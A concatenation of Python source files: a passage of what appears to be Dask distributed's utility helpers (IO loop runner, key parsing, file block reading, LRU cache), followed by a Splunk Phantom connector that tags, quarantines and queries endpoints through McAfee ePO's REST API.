sys.exc_info() finally: thread_state.asynchronous = False e.set() loop.add_callback(f) if callback_timeout is not None: if not e.wait(callback_timeout): raise TimeoutError("timed out after %s s." % (callback_timeout,)) else: while not e.is_set(): e.wait(10) if error[0]: typ, exc, tb = error[0] raise exc.with_traceback(tb) else: return result[0] class LoopRunner(object): """ A helper to start and stop an IO loop in a controlled way. Several loop runners can associate safely to the same IO loop. Parameters ---------- loop: IOLoop (optional) If given, this loop will be re-used, otherwise an appropriate one will be looked up or created. asynchronous: boolean (optional, default False) If false (the default), the loop is meant to run in a separate thread and will be started if necessary. If true, the loop is meant to run in the thread this object is instantiated from, and will not be started automatically. """ # All loops currently associated to loop runners _all_loops = weakref.WeakKeyDictionary() _lock = threading.Lock() def __init__(self, loop=None, asynchronous=False): current = IOLoop.current() if loop is None: if asynchronous: self._loop = current else: # We're expecting the loop to run in another thread, # avoid re-using this thread's assigned loop self._loop = IOLoop() self._should_close_loop = True else: self._loop = loop self._should_close_loop = False self._asynchronous = asynchronous self._loop_thread = None self._started = False with self._lock: self._all_loops.setdefault(self._loop, (0, None)) def start(self): """ Start the IO loop if required. The loop is run in a dedicated thread. If the loop is already running, this method does nothing. """ with self._lock: self._start_unlocked() def _start_unlocked(self): assert not self._started count, real_runner = self._all_loops[self._loop] if self._asynchronous or real_runner is not None or count > 0: self._all_loops[self._loop] = count + 1, real_runner self._started = True return assert self._loop_thread is None assert count == 0 loop_evt = threading.Event() done_evt = threading.Event() in_thread = [None] start_exc = [None] def loop_cb(): in_thread[0] = threading.current_thread() loop_evt.set() def run_loop(loop=self._loop): loop.add_callback(loop_cb) try: loop.start() except Exception as e: start_exc[0] = e finally: done_evt.set() thread = threading.Thread(target=run_loop, name="IO loop") thread.daemon = True thread.start() loop_evt.wait(timeout=10) self._started = True actual_thread = in_thread[0] if actual_thread is not thread: # Loop already running in other thread (user-launched) done_evt.wait(5) if not isinstance(start_exc[0], RuntimeError): if not isinstance( start_exc[0], Exception ): # track down infrequent error raise TypeError("not an exception", start_exc[0]) raise start_exc[0] self._all_loops[self._loop] = count + 1, None else: assert start_exc[0] is None, start_exc self._loop_thread = thread self._all_loops[self._loop] = count + 1, self def stop(self, timeout=10): """ Stop and close the loop if it was created by us. Otherwise, just mark this object "stopped". """ with self._lock: self._stop_unlocked(timeout) def _stop_unlocked(self, timeout): if not self._started: return self._started = False count, real_runner = self._all_loops[self._loop] if count > 1: self._all_loops[self._loop] = count - 1, real_runner else: assert count == 1 del self._all_loops[self._loop] if real_runner is not None: real_runner._real_stop(timeout) def _real_stop(self, timeout): assert self._loop_thread is not None if self._loop_thread is not None: try: self._loop.add_callback(self._loop.stop) self._loop_thread.join(timeout=timeout) with ignoring(KeyError): # IOLoop can be missing self._loop.close() finally: self._loop_thread = None def is_started(self): """ Return True between start() and stop() calls, False otherwise. """ return self._started def run_sync(self, func, *args, **kwargs): """ Convenience helper: start the loop if needed, run sync(func, *args, **kwargs), then stop the loop again. """ if self._started: return sync(self.loop, func, *args, **kwargs) else: self.start() try: return sync(self.loop, func, *args, **kwargs) finally: self.stop() @property def loop(self): return self._loop @contextmanager def set_thread_state(**kwargs): old = {} for k in kwargs: try: old[k] = getattr(thread_state, k) except AttributeError: pass for k, v in kwargs.items(): setattr(thread_state, k, v) try: yield finally: for k in kwargs: try: v = old[k] except KeyError: delattr(thread_state, k) else: setattr(thread_state, k, v) @contextmanager def tmp_text(filename, text): fn = os.path.join(tempfile.gettempdir(), filename) with open(fn, "w") as f: f.write(text) try: yield fn finally: if os.path.exists(fn): os.remove(fn) def clear_queue(q): while not q.empty(): q.get_nowait() def is_kernel(): """ Determine if we're running within an IPython kernel >>> is_kernel() False """ # http://stackoverflow.com/questions/34091701/determine-if-were-in-an-ipython-notebook-session if "IPython" not in sys.modules: # IPython hasn't been imported return False from IPython import get_ipython # check for `kernel` attribute on the IPython instance return getattr(get_ipython(), "kernel", None) is not None hex_pattern = re.compile("[a-f]+") @functools.lru_cache(100000) def key_split(s): """ >>> key_split('x') 'x' >>> key_split('x-1') 'x' >>> key_split('x-1-2-3') 'x' >>> key_split(('x-2', 1)) 'x' >>> key_split("('x-2', 1)") 'x' >>> key_split("('x', 1)") 'x' >>> key_split('hello-world-1') 'hello-world' >>> key_split(b'hello-world-1') 'hello-world' >>> key_split('ae05086432ca935f6eba409a8ecd4896') 'data' >>> key_split('<module.submodule.myclass object at 0xdaf372') 'myclass' >>> key_split(None) 'Other' >>> key_split('x-abcdefab') # ignores hex 'x' """ if type(s) is bytes: s = s.decode() if type(s) is tuple: s = s[0] try: words = s.split("-") if not words[0][0].isalpha(): result = words[0].split(",")[0].strip("'(\"") else: result = words[0] for word in words[1:]: if word.isalpha() and not ( len(word) == 8 and hex_pattern.match(word) is not None ): result += "-" + word else: break if len(result) == 32 and re.match(r"[a-f0-9]{32}", result): return "data" else: if result[0] == "<": result = result.strip("<>").split()[0].split(".")[-1] return result except Exception: return "Other" def key_split_group(x): """A more fine-grained version of key_split >>> key_split_group(('x-2', 1)) 'x-2' >>> key_split_group("('x-2', 1)") 'x-2' >>> key_split_group('ae05086432ca935f6eba409a8ecd4896') 'data' >>> key_split_group('<module.submodule.myclass object at 0xdaf372') 'myclass' >>> key_split_group('x') >>> key_split_group('x-1') """ typ = type(x) if typ is tuple: return x[0] elif typ is str: if x[0] == "(": return x.split(",", 1)[0].strip("()\"'") elif len(x) == 32 and re.match(r"[a-f0-9]{32}", x): return "data" elif x[0] == "<": return x.strip("<>").split()[0].split(".")[-1] else: return "" elif typ is bytes: return key_split_group(x.decode()) else: return "" @contextmanager def log_errors(pdb=False): from .comm import CommClosedError try: yield except (CommClosedError, gen.Return): raise except Exception as e: try: logger.exception(e) except TypeError: # logger becomes None during process cleanup pass if pdb: import pdb pdb.set_trace() raise def silence_logging(level, root="distributed"): """ Change all StreamHandlers for the given logger to the given level """ if isinstance(level, str): level = getattr(logging, level.upper()) old = None logger = logging.getLogger(root) for handler in logger.handlers: if isinstance(handler, logging.StreamHandler): old = handler.level handler.setLevel(level) return old @toolz.memoize def ensure_ip(hostname): """ Ensure that address is an IP address Examples -------- >>> ensure_ip('localhost') '127.0.0.1' >>> ensure_ip('123.123.123.123') # pass through IP addresses '123.123.123.123' """ # Prefer IPv4 over IPv6, for compatibility families = [socket.AF_INET, socket.AF_INET6] for fam in families: try: results = socket.getaddrinfo( hostname, 1234, fam, socket.SOCK_STREAM # dummy port number ) except socket.gaierror as e: exc = e else: return results[0][4][0] raise exc tblib.pickling_support.install() def get_traceback(): exc_type, exc_value, exc_traceback = sys.exc_info() bad = [ os.path.join("distributed", "worker"), os.path.join("distributed", "scheduler"), os.path.join("tornado", "gen.py"), os.path.join("concurrent", "futures"), ] while exc_traceback and any( b in exc_traceback.tb_frame.f_code.co_filename for b in bad ): exc_traceback = exc_traceback.tb_next return exc_traceback def truncate_exception(e, n=10000): """ Truncate exception to be about a certain length """ if len(str(e)) > n: try: return type(e)("Long error message", str(e)[:n]) except Exception: return Exception("Long error message", type(e), str(e)[:n]) else: return e def tokey(o): """ Convert an object to a string. Examples -------- >>> tokey(b'x') b'x' >>> tokey('x') 'x' >>> tokey(1) '1' """ typ = type(o) if typ is str or typ is bytes: return o else: return str(o) def validate_key(k): """Validate a key as received on a stream. """ typ = type(k) if typ is not str and typ is not bytes: raise TypeError("Unexpected key type %s (value: %r)" % (typ, k)) def _maybe_complex(task): """ Possibly contains a nested task """ return ( istask(task) or type(task) is list and any(map(_maybe_complex, task)) or type(task) is dict and any(map(_maybe_complex, task.values())) ) def convert(task, dsk, extra_values): if type(task) is list: return [convert(v, dsk, extra_values) for v in task] if type(task) is dict: return {k: convert(v, dsk, extra_values) for k, v in task.items()} if istask(task): return (task[0],) + tuple(convert(x, dsk, extra_values) for x in task[1:]) try: if task in dsk or task in extra_values: return tokey(task) except TypeError: pass return task def str_graph(dsk, extra_values=()): return {tokey(k): convert(v, dsk, extra_values) for k, v in dsk.items()} def seek_delimiter(file, delimiter, blocksize): """ Seek current file to next byte after a delimiter bytestring This seeks the file to the next byte following the delimiter. It does not return anything. Use ``file.tell()`` to see location afterwards. Parameters ---------- file: a file delimiter: bytes a delimiter like ``b'\n'`` or message sentinel blocksize: int Number of bytes to read from the file at once. """ if file.tell() == 0: return last = b"" while True: current = file.read(blocksize) if not current: return full = last + current try: i = full.index(delimiter) file.seek(file.tell() - (len(full) - i) + len(delimiter)) return except ValueError: pass last = full[-len(delimiter) :] def read_block(f, offset, length, delimiter=None): """ Read a block of bytes from a file Parameters ---------- f: file File-like object supporting seek, read, tell, etc.. offset: int Byte offset to start read length: int Number of bytes to read delimiter: bytes (optional) Ensure reading starts and stops at delimiter bytestring If using the ``delimiter=`` keyword argument we ensure that the read starts and stops at delimiter boundaries that follow the locations ``offset`` and ``offset + length``. If ``offset`` is zero then we start at zero. The bytestring returned WILL include the terminating delimiter string. Examples -------- >>> from io import BytesIO # doctest: +SKIP >>> f = BytesIO(b'Alice, 100\\nBob, 200\\nCharlie, 300') # doctest: +SKIP >>> read_block(f, 0, 13) # doctest: +SKIP b'Alice, 100\\nBo' >>> read_block(f, 0, 13, delimiter=b'\\n') # doctest: +SKIP b'Alice, 100\\nBob, 200\\n' >>> read_block(f, 10, 10, delimiter=b'\\n') # doctest: +SKIP b'Bob, 200\\nCharlie, 300' """ if delimiter: f.seek(offset) seek_delimiter(f, delimiter, 2 ** 16) start = f.tell() length -= start - offset f.seek(start + length) seek_delimiter(f, delimiter, 2 ** 16) end = f.tell() offset = start length = end - start f.seek(offset) bytes = f.read(length) return bytes @contextmanager def tmpfile(extension=""): extension = "." + extension.lstrip(".") handle, filename = tempfile.mkstemp(extension) os.close(handle) os.remove(filename) yield filename if os.path.exists(filename): try: if os.path.isdir(filename): shutil.rmtree(filename) else: os.remove(filename) except OSError: # sometimes we can't remove a generated temp file pass def ensure_bytes(s): """Attempt to turn `s` into bytes. Parameters ---------- s : Any The object to be converted. Will correctly handled * str * bytes * objects implementing the buffer protocol (memoryview, ndarray, etc.) Returns ------- b : bytes Raises ------ TypeError When `s` cannot be converted Examples -------- >>> ensure_bytes('123') b'123' >>> ensure_bytes(b'123') b'123' """ if hasattr(s, "encode"): return s.encode() else: try: return bytes(s) except Exception as e: raise TypeError( "Object %s is neither a bytes object nor has an encode method" % s ) from e def divide_n_among_bins(n, bins): """ >>> divide_n_among_bins(12, [1, 1]) [6, 6] >>> divide_n_among_bins(12, [1, 2]) [4, 8] >>> divide_n_among_bins(12, [1, 2, 1]) [3, 6, 3] >>> divide_n_among_bins(11, [1, 2, 1]) [2, 6, 3] >>> divide_n_among_bins(11, [.1, .2, .1]) [2, 6, 3] """ total = sum(bins) acc = 0.0 out = [] for b in bins: now = n / total * b + acc now, acc = divmod(now, 1) out.append(int(now)) return out def mean(seq): seq = list(seq) return sum(seq) / len(seq) if hasattr(sys, "is_finalizing"): def shutting_down(is_finalizing=sys.is_finalizing): return is_finalizing() else: _shutting_down = [False] def _at_shutdown(l=_shutting_down): l[0] = True def shutting_down(l=_shutting_down): return l[0] atexit.register(_at_shutdown) shutting_down.__doc__ = """ Whether the interpreter is currently shutting down. For use in finalizers, __del__ methods, and similar; it is advised to early bind this function rather than look it up when calling it, since at shutdown module globals may be cleared. """ def open_port(host=""): """ Return a probably-open port There is a chance that this port will be taken by the operating system soon after returning from this function. """ # http://stackoverflow.com/questions/2838244/get-open-tcp-port-in-python s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, 0)) s.listen(1) port = s.getsockname()[1] s.close() return port def import_file(path): """ Loads modules for a file (.py, .zip, .egg) """ directory, filename = os.path.split(path) name, ext = os.path.splitext(filename) names_to_import = [] tmp_python_path = None if ext in (".py",): # , '.pyc'): if directory not in sys.path: tmp_python_path = directory names_to_import.append(name) if ext == ".py": # Ensure that no pyc file will be reused cache_file = cache_from_source(path) with ignoring(OSError): os.remove(cache_file) if ext in (".egg", ".zip", ".pyz"): if path not in sys.path: sys.path.insert(0, path) if sys.version_info >= (3, 6): names = (mod_info.name for mod_info in pkgutil.iter_modules([path])) else: names = (mod_info[1] for mod_info in pkgutil.iter_modules([path])) names_to_import.extend(names) loaded = [] if not names_to_import: logger.warning("Found nothing to import from %s", filename) else: importlib.invalidate_caches() if tmp_python_path is not None: sys.path.insert(0, tmp_python_path) try: for name in names_to_import: logger.info("Reload module %s from %s file", name, ext) loaded.append(importlib.reload(importlib.import_module(name))) finally: if tmp_python_path is not None: sys.path.remove(tmp_python_path) return loaded class itemgetter(object): """A picklable itemgetter. Examples -------- >>> data = [0, 1, 2] >>> get_1 = itemgetter(1) >>> get_1(data) 1 """ __slots__ = ("index",) def __init__(self, index): self.index = index def __call__(self, x): return x[self.index] def __reduce__(self): return (itemgetter, (self.index,)) def asciitable(columns, rows): """Formats an ascii table for given columns and rows. Parameters ---------- columns : list The column names rows : list of tuples The rows in the table. Each tuple must be the same length as ``columns``. """ rows = [tuple(str(i) for i in r) for r in rows] columns = tuple(str(i) for i in columns) widths = tuple(max(max(map(len, x)), len(c)) for x, c in zip(zip(*rows), columns)) row_template = ("|" + (" %%-%ds |" * len(columns))) % widths header = row_template % tuple(columns) bar = "+%s+" % "+".join("-" * (w + 2) for w in widths) data = "\n".join(row_template % r for r in rows) return "\n".join([bar, header, bar, data, bar]) def nbytes(frame, _bytes_like=(bytes, bytearray)): """ Number of bytes of a frame or memoryview """ if isinstance(frame, _bytes_like): return len(frame) else: try: return frame.nbytes except AttributeError: return len(frame) def PeriodicCallback(callback, callback_time, io_loop=None): """ Wrapper around tornado.IOLoop.PeriodicCallback, for compatibility with removal of the `io_loop` parameter in Tornado 5.0. """ if tornado.version_info >= (5,): return tornado.ioloop.PeriodicCallback(callback, callback_time) else: return tornado.ioloop.PeriodicCallback(callback, callback_time, io_loop) @contextmanager def time_warn(duration, text): start = time() yield end = time() if end - start > duration: print("TIME WARNING", text, end - start) def json_load_robust(fn, load=json.load): """ Reads a JSON file from disk that may be being written as we read """ while not os.path.exists(fn): sleep(0.01) for i in range(10): try: with open(fn) as f: cfg = load(f) if cfg: return cfg except (ValueError, KeyError): # race with writing process pass sleep(0.1) class DequeHandler(logging.Handler): """ A logging.Handler that records records into a deque """ _instances = weakref.WeakSet() def __init__(self, *args, n=10000, **kwargs): self.deque = deque(maxlen=n) super(DequeHandler, self).__init__(*args, **kwargs) self._instances.add(self) def emit(self, record): self.deque.append(record) def clear(self): """ Clear internal storage. """ self.deque.clear() @classmethod def clear_all_instances(cls): """ Clear the internal storage of all live DequeHandlers. """ for inst in list(cls._instances): inst.clear() def reset_logger_locks(): """ Python 2's logger's locks don't survive a fork event https://github.com/dask/distributed/issues/1491 """ for name in logging.Logger.manager.loggerDict.keys(): for handler in logging.getLogger(name).handlers: handler.createLock() if tornado.version_info[0] >= 5: is_server_extension = False if "notebook" in sys.modules: import traitlets from notebook.notebookapp import NotebookApp is_server_extension = traitlets.config.Application.initialized() and isinstance( traitlets.config.Application.instance(), NotebookApp ) if not is_server_extension: is_kernel_and_no_running_loop = False if is_kernel(): try: get_running_loop() except RuntimeError: is_kernel_and_no_running_loop = True if not is_kernel_and_no_running_loop: import tornado.platform.asyncio asyncio.set_event_loop_policy( tornado.platform.asyncio.AnyThreadEventLoopPolicy() ) @functools.lru_cache(1000) def has_keyword(func, keyword): return keyword in inspect.signature(func).parameters # from bokeh.palettes import viridis # palette = viridis(18) palette = [ "#440154", "#471669", "#472A79", "#433C84", "#3C4D8A", "#355D8C", "#2E6C8E", "#287A8E", "#23898D", "#1E978A", "#20A585", "#2EB27C", "#45BF6F", "#64CB5D", "#88D547", "#AFDC2E", "#D7E219", "#FDE724", ] @toolz.memoize def color_of(x, palette=palette): h = md5(str(x).encode()) n = int(h.hexdigest()[:8], 16) return palette[n % len(palette)] def iscoroutinefunction(f): if gen.is_coroutine_function(f): return True if sys.version_info >= (3, 5) and inspect.iscoroutinefunction(f): return True return False @contextmanager def warn_on_duration(duration, msg): start = time() yield stop = time() if stop - start > parse_timedelta(duration): warnings.warn(msg, stacklevel=2) def typename(typ): """ Return name of type Examples -------- >>> from distributed import Scheduler >>> typename(Scheduler) 'distributed.scheduler.Scheduler' """ try: return typ.__module__ + "." + typ.__name__ except AttributeError: return str(typ) def format_dashboard_link(host, port): template = dask.config.get("distributed.dashboard.link") if dask.config.get("distributed.scheduler.dashboard.tls.cert"): scheme = "https" else: scheme = "http" return template.format( **toolz.merge(os.environ, dict(scheme=scheme, host=host, port=port)) ) def is_coroutine_function(f): return asyncio.iscoroutinefunction(f) or gen.is_coroutine_function(f) class Log(str): """ A container for logs """ def _repr_html_(self): return "<pre><code>\n{log}\n</code></pre>".format( log=html.escape(self.rstrip()) ) class Logs(dict): """ A container for multiple logs """ def _repr_html_(self): summaries = [ "<details>\n" "<summary style='display:list-item'>{title}</summary>\n" "{log}\n" "</details>".format(title=title, log=log._repr_html_()) for title, log in sorted(self.items()) ] return "\n".join(summaries) def cli_keywords(d: dict, cls=None): """ Convert a kwargs dictionary into a list of CLI keywords Parameters ---------- d: dict The keywords to convert cls: callable The callable that consumes these terms to check them for validity Examples -------- >>> cli_keywords({"x": 123, "save_file": "foo.txt"}) ['--x', '123', '--save-file', 'foo.txt'] >>> from dask.distributed import Worker >>> cli_keywords({"x": 123}, Worker) Traceback (most recent call last): ... ValueError: Class distributed.worker.Worker does not support keyword x """ if cls: for k in d: if not has_keyword(cls, k): raise ValueError( "Class %s does not support keyword %s" % (typename(cls), k) ) def convert_value(v): out = str(v) if " " in out and "'" not in out and '"' not in out: out = '"' + out + '"' return out return sum( [["--" + k.replace("_", "-"), convert_value(v)] for k, v in d.items()], [] ) def is_valid_xml(text): return xml.etree.ElementTree.fromstring(text) is not None try: _offload_executor = ThreadPoolExecutor( max_workers=1, thread_name_prefix="Dask-Offload" ) except TypeError: _offload_executor = ThreadPoolExecutor(max_workers=1) weakref.finalize(_offload_executor, _offload_executor.shutdown) def import_term(name: str): """ Return the fully qualified term Examples -------- >>> import_term("math.sin") <function math.sin(x, /)> """ try: module_name, attr_name = name.rsplit(".", 1) except ValueError: return importlib.import_module(name) module = importlib.import_module(module_name) return getattr(module, attr_name) async def offload(fn, *args, **kwargs): loop = asyncio.get_event_loop() return await loop.run_in_executor(_offload_executor, lambda: fn(*args, **kwargs)) def serialize_for_cli(data): """ Serialize data into a string that can be passthrough cli Parameters ---------- data: json-serializable object The data to serialize Returns ------- serialized_data: str The serialized data as a string """ return base64.urlsafe_b64encode(json.dumps(data).encode()).decode() def deserialize_for_cli(data): """ De-serialize data into the original object Parameters ---------- data: str String serialied by serialize_for_cli() Returns ------- deserialized_data: obj The de-serialized data """ return json.loads(base64.urlsafe_b64decode(data.encode()).decode()) class EmptyContext: def __enter__(self): pass def __exit__(self, *args): pass async def __aenter__(self): pass async def __aexit__(self, *args): pass empty_context = EmptyContext() class LRU(UserDict): """ Limited size mapping, evicting the least recently looked-up key when full """ def __init__(self, maxsize): super().__init__() self.data = OrderedDict() self.maxsize = maxsize def __getitem__(self, key): value = super().__getitem__(key) self.data.move_to_end(key) return value def __setitem__(self, key, value): if len(self) >= self.maxsize: self.data.popitem(last=False) super().__setitem__(key, value)
mfeepo_connector.py
# File: mfeepo_connector.py # # Copyright (c) 2016-2022 Splunk Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software distributed under # the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific language governing permissions # and limitations under the License. # # # Phatom imports import threading import time import phantom.app as phantom import requests import simplejson as json from phantom.action_result import ActionResult from phantom.base_connector import BaseConnector # Local imports from mfeepo_consts import * class EpoConnector(BaseConnector): ACTION_ID_ADD_TAG = "add_tag" ACTION_ID_REMOVE_TAG = "remove_tag" ACTION_ID_GET_DEVICE_INFO = "get_device_info" ACTION_ID_QUARANTINE_DEVICE = "quarantine_device" ACTION_ID_UNQUARANTINE_DEVICE = "unquarantine_device" def __init__(self): self._username = None self._password = None self._host = None self._port = None self._lock = threading.Lock() self._done = False # Is it done waking up agent? super(EpoConnector, self).__init__() return def _make_rest_call(self, endpoint, params, action_result): config = self.get_config() res = {} if params: params.update({":output": "json"}) # Make a REST call try: url = '{0}{1}'.format(self._url, endpoint) res = requests.get(url, auth=(self._username, self._password), params=params, verify=config.get(phantom.APP_JSON_VERIFY, False), timeout=DEFAULT_TIMEOUT) except Exception as e: msg = "Error Connecting to server. Details: {0}".format(str(e)) self.debug_print(msg) return action_result.set_status(phantom.APP_ERROR, msg), res if not(200 <= res.status_code < 399): msg = "The server {0}:{1} could not fulfill the request. Error code: {2}, Reason: {3}".format(self._host, self._port, res.status_code, res.reason) return action_result.set_status(phantom.APP_ERROR, msg), res # Parse the response try: res = res.text res = json.loads(res[3:]) except Exception as e: msg = "Error while parsing the JSON. Error: {}".format(str(e)) self.debug_print(msg) return action_result.set_status(phantom.APP_ERROR, msg), res return phantom.APP_SUCCESS, res def _check_tag(self, tags, tag): """ Check if tag is present in tags " Tags is expected to be a string, like "tag1, tag2..." """ # Convert tags to a list from a string tags = [x.strip() for x in tags.split(',')] if tag in tags: return True else: return False def _transmogrify_dict(self, x): """ Turn the tags from the literal string "tag1, tag2,... " into a list " Replace periods w/ underscores in key names """ try: x[KEY_TAGS] = [{"Tag": v.strip()} for v in x[KEY_TAGS].split(',')] x[KEY_ETAGS] = [{"Tag": v.strip()} for v in x[KEY_ETAGS].split(',')] except: # Something went wrong. Probably the wrong dictionary pass return dict((k.replace('.', '_'), v) for k, v in x.items()) def _test_connectivity(self, param): action_result = self.add_action_result(ActionResult(dict(param))) self.save_progress("Attempting to connect to ePO") ret_val, _ = self._make_rest_call('system.find', {'param1': self._host}, action_result) if phantom.is_fail(ret_val): self.save_progress("Connectivity test failed") return self.set_status(phantom.APP_ERROR, self.get_status_message()) self.save_progress(self.get_status_message()) self.save_progress("Connectivity test passed") return self.set_status(phantom.APP_SUCCESS) def _wakeup_agent(self, action_result, host): self.save_progress("Attempting to wake up agent") thread = threading.Thread(target=self._wait_for_wakeup) thread.start() try: _, res = self._make_rest_call('system.wakeupAgent', {'param1': host}, action_result) except Exception as e: self._join_thread(thread) self.set_status(phantom.APP_ERROR) return action_result.set_status(phantom.APP_ERROR, str(e)) self._join_thread(thread) self.debug_print("Response after attempting to wake up agent: {}".format(res)) if res == 0: self.set_status(phantom.APP_ERROR) return action_result.set_status(phantom.APP_ERROR, "Failed to wakeup agent") else: return action_result.set_status(phantom.APP_SUCCESS, "Successfully woke up agent") def _join_thread(self, thread): self._lock.acquire() self._done = True self._lock.release() thread.join() return def _wait_for_wakeup(self): """ Keep message updated while waking up host """ i = 0 while True: self._lock.acquire() if self._done: self._lock.release() break self.send_progress("Attempting to wake up agent" + "." * i) self._lock.release() i = i % 5 + 1 time.sleep(1) return def _validate_tag(self, action_result, host, tag): """ Validate that a tag exists " Also, fix the case of the tag """ try: ret_val, tag_dicts = self._make_rest_call('system.findTag', {'param1': tag}, action_result) except Exception as e: self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_ERROR, str(e)) return action_result, None if phantom.is_fail(ret_val): return action_result, tag for tag_dict in tag_dicts: if tag_dict['tagName'].lower() == tag.lower(): action_result.set_status(phantom.APP_SUCCESS) return action_result, tag_dict['tagName'] # Couldn't find tag self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_ERROR, "There is no tag: {}".format(tag)) return action_result, None def _add_tag(self, param): """ Actual handler for add_tag action """ return self.__add_tag(param) def _quarantine_device(self, param): return self.__add_tag(param, quarantine=True) def __add_tag(self, param, quarantine=False): action_result = self.add_action_result(ActionResult(dict(param))) host = param[EPO_JSON_HOST] # Endpoint to add tag to wakeup_agent = param.get(EPO_JSON_WAKEUP_AGENT, False) if quarantine: tag = self.get_config().get(EPO_JSON_QTAG, "") if not tag: self.set_status(phantom.APP_ERROR) return action_result.set_status(phantom.APP_ERROR, "Please provide the quarantine tag in asset configuration parameter") else: tag = param[EPO_JSON_TAG] action_result, tag = self._validate_tag(action_result, host, tag) # Tag doesn't exist if phantom.is_fail(action_result.get_status()): return action_result.get_status() action_result, r_dict = self._find(action_result, host) # Host doesn't exist if phantom.is_fail(action_result.get_status()): return action_result.get_status() # Endpoint already has tag if self._check_tag(r_dict[KEY_TAGS], tag): return action_result.set_status(phantom.APP_SUCCESS, "Success, tag already added") action_result = self._apply_tag(action_result, host, tag) if not wakeup_agent or phantom.is_fail(action_result.get_status()): return action_result.get_status() ret_val = self._wakeup_agent(action_result, host) if phantom.is_fail(ret_val): return action_result.set_status(phantom.APP_ERROR, "Assigned tag but host did not recieve configuration") return action_result.set_status(phantom.APP_SUCCESS, "Assigned tag and host received configuration") def _apply_tag(self, action_result, host, tag): try: ret_val, _ = self._make_rest_call('system.applyTag', {'param1': host, 'param2': tag}, action_result) except: # Something went wrong self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_ERROR, "Failed to assign tag") return action_result if ret_val == 0: # Something else went wrong self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_SUCCESS, "Failed to assign tag") else: action_result.set_status(phantom.APP_SUCCESS, "Successfully assigned tag") return action_result def _remove_tag(self, param): """ actual handler for remove_tag action """ return self.__remove_tag(param) def _unquarantine_device(self, param): return self.__remove_tag(param, quarantine=True) def __remove_tag(self, param, quarantine=False): action_result = self.add_action_result(ActionResult(dict(param))) host = param[EPO_JSON_HOST] # Endpoint to remove tag from wakeup_agent = param.get(EPO_JSON_WAKEUP_AGENT, False) if quarantine: tag = self.get_config().get(EPO_JSON_QTAG, "") if not tag: self.set_status(phantom.APP_ERROR) return action_result.set_status(phantom.APP_ERROR, "Please provide the quarantine tag in asset configuration parameter") else: tag = param[EPO_JSON_TAG] action_result, tag = self._validate_tag(action_result, host, tag) # Tag doesn't exist if phantom.is_fail(action_result.get_status()): return action_result.get_status() action_result, r_dict = self._find(action_result, host) # Host doesn't exist if phantom.is_fail(action_result.get_status()): return action_result.get_status() # Endpoint already has tag if not self._check_tag(r_dict[KEY_TAGS], tag): return action_result.set_status(phantom.APP_SUCCESS, "Success, tag not present") action_result = self._clear_tag(action_result, host, tag) if not wakeup_agent or phantom.is_fail(action_result.get_status()): return action_result.get_status() ret_val = self._wakeup_agent(action_result, host) if phantom.is_fail(ret_val): return action_result.set_status(phantom.APP_ERROR, "Removed tag but host did not recieve configuration") return action_result.set_status(phantom.APP_SUCCESS, "Removed tag and host received configuration") def _clear_tag(self, action_result, host, tag): try: _, resp = self._make_rest_call('system.clearTag', {'param1': host, 'param2': tag}, action_result) except: self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_ERROR, "Failed to remove tag") return action_result if resp == 0: self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_ERROR, "Failed to remove tag") else: action_result.set_status(phantom.APP_SUCCESS, "Successfully removed tag") return action_result def _get_device_info(self, param): action_result = self.add_action_result(ActionResult(dict(param))) host = param[EPO_JSON_HOST] # Endpoint to get info from action_result, r_dict = self._find(action_result, host) if phantom.is_fail(action_result.get_status()): return action_result.get_status() config = self.get_config() r_dict = self._transmogrify_dict(r_dict) r_dict['EPO_IP/Hostname'] = config[EPO_JSON_HOST] r_dict['EPO_Port'] = config[EPO_JSON_PORT] action_result.add_data(r_dict) return action_result.get_status() def _find(self, action_result, host): """ Get device info and add it to action result " Also used to confirm that device exists / is connectable """ try: # result is a list of matching hosts ret_val, result = self._make_rest_call('system.find', {'param1': host}, action_result) except Exception as e: self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_ERROR, str(e)) return action_result, None if phantom.is_fail(ret_val): return action_result, None for r in result: if r[IP_ADDR] == host or r[NAME].lower() == host.lower(): action_result.set_status(phantom.APP_SUCCESS, "Successfully retrieved device info") return action_result, r self.set_status(phantom.APP_ERROR) action_result.set_status(phantom.APP_ERROR, "Failed to locate host") return action_result, None def handle_action(self, param): action = self.get_action_identifier() ret_val = phantom.APP_SUCCESS if action == phantom.ACTION_ID_TEST_ASSET_CONNECTIVITY: ret_val = self._test_connectivity(param) elif action == self.ACTION_ID_ADD_TAG: ret_val = self._add_tag(param) elif action == self.ACTION_ID_REMOVE_TAG: ret_val = self._remove_tag(param) elif action == self.ACTION_ID_GET_DEVICE_INFO: ret_val = self._get_device_info(param) elif action == self.ACTION_ID_QUARANTINE_DEVICE: ret_val = self._quarantine_device(param) elif action == self.ACTION_ID_UNQUARANTINE_DEVICE: ret_val = self._unquarantine_device(param) return ret_val def initialize(self): # get the asset config config = self.get_config() self._host = config[EPO_JSON_HOST] self._port = config[EPO_JSON_PORT] self._url = 'https://{0}:{1}/remote/'.format(self._host, self._port) self._username = config[EPO_JSON_USERNAME] self._password = config[EPO_JSON_PASSWORD] return phantom.APP_SUCCESS if __name__ == '__main__': # Imports import sys import pudb # Breakpoint at runtime pudb.set_trace() # The first param is the input json file with open(sys.argv[1]) as f: # Load the input json file in_json = f.read() in_json = json.loads(in_json) print(json.dumps(in_json, indent=' ' * 4)) # Create the connector class object connector = EpoConnector() # Se the member vars connector.print_progress_message = True # Call BaseConnector::_handle_action(...) to kickoff action handling. ret_val = connector._handle_action(json.dumps(in_json), None) # Dump the return value print(ret_val) sys.exit(0)
myJoyStick.py
